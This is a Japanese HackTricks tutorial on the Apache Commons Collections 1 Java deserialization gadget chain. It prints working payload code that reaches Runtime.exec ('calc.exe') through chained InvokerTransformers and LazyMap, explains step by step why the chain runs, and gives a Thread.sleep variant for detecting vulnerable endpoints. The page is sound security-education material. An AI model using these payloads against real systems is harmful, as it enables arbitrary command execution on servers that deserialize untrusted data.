htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 してみたいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
Java Transformersを使用したRutime exec()
いくつかの場所で、次のようなApache common collectionsからのtransformersを使用するjava逆シリアル化ペイロードが見つかります:
Copy import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1PayloadOnly {
public static void main ( String ... args) {
String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Runtime . class ) , //(1)
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) , //(2)
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) , //(3)
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
もしJavaの逆シリアル化ペイロードについて何も知らない場合、なぜこのコードがcalcを実行するのかを理解するのは難しいかもしれません。
まず最初に知っておくべきことは、JavaのTransformer はクラスを受け取り 、異なるクラスに変換する ものです。
また、ここで実行されているペイロード が等価 であることを知ることも興味深いです。
Copy Runtime . getRuntime () . exec ( new String []{ "calc.exe" });
または、より正確には 、最終的に実行される内容は次のとおりです:
Copy ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
方法
では、最初のペイロードがどのようにして「シンプルな」ワンライナーと同等であるかを見てみましょう。
まず、ペイロードの中で変換のチェーン(配列)が作成 されていることに気づくことができます。
Copy String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer( Runtime . class ) ,
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) ,
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) ,
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
コードを読むと、配列の変換を何らかの方法で連鎖させると、任意のコマンドを実行できる可能性があります。
したがって、これらの変換はどのように連鎖されるのですか?
Copy Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
lazyMap . get ( "anything" );
最後のペイロードのセクションでは、Mapオブジェクトが作成されています 。その後、LazyMap
からdecorate
関数が実行され、マップオブジェクトとチェーンされたトランスフォーマーが渡されます。次のコードからわかるように、これによりチェーンされたトランスフォーマー がlazyMap.factory
属性の中にコピーされることになります:
Copy protected LazyMap( Map map , Transformer factory) {
super(map);
if (factory == null ) {
throw new IllegalArgumentException( "Factory must not be null" ) ;
}
this . factory = factory;
}
そして、壮大なフィナーレが実行されます:lazyMap.get("anything");
これがget
関数のコードです:
Copy public Object get( Object key) {
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value);
return value;
}
return map . get (key);
}
そして、これがtransform
関数のコードです。
Copy public Object transform( Object object) {
for ( int i = 0 ; i < iTransformers . length ; i ++ ) {
object = iTransformers[i] . transform (object);
}
return object;
}
したがって、factory の内部には chainedTransformer
が保存されており、transform
関数の内部では、それらのチェーンされたtransformerをすべて通過 し、1つずつ実行しています。面白いことに、各transformerは入力として object
を使用しており、objectは前に実行されたtransformerの出力 です。したがって、すべての変換は悪意のあるペイロードを実行するようにチェーンされています 。
要約
最終的には、lazyMapがgetメソッド内でチェーンされたtransformerをどのように管理しているかによって、次のコードを実行しているかのようです。
Copy Object value = "someting" ;
value = new ConstantTransformer( Runtime . class ) . transform (value); //(1)
value = new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , null }
) . transform (value); //(2)
value = new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) . transform (value); //(3)
value = new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) . transform (value); //(4)
注意してください。 value
は各変換の入力であり、前の変換の出力であり、ワンライナーの実行を可能にしています:
Copy ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
ここでは、ComonsCollections1 ペイロードに使用されるガジェットが説明されていました。しかし、これがどのように実行を開始するかは残されています 。ここで ysoserial を見ると、このペイロードを実行するために、AnnotationInvocationHandler
オブジェクトが使用されていることがわかります。なぜなら、このオブジェクトが逆シリアル化されると 、payload.get()
関数が呼び出され、ペイロード全体が実行される でしょう。
Java Thread Sleep
このペイロードは、Web が脆弱かどうかを特定するのに便利 であり、脆弱である場合はスリープを実行します。
Copy import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . net . MalformedURLException ;
import java . net . URL ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1Sleep {
public static void main ( String ... args) {
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Thread . class ) ,
new InvokerTransformer( "getMethod" ,
new Class []{
String . class , Class [] . class
} ,
new Object []{
"sleep" , new Class []{ Long . TYPE }
}) ,
new InvokerTransformer( "invoke" ,
new Class []{
Object . class , Object [] . class
} , new Object []
{
null , new Object [] { 7000L }
}) ,
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
もっとガジェット
こちらでさらにガジェットを見つけることができます: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert) !
サイバーセキュリティ企業 で働いていますか? HackTricksで会社を宣伝 したいですか?または最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード したいですか?SUBSCRIPTION PLANS をチェックしてください!
Last updated 3 months ago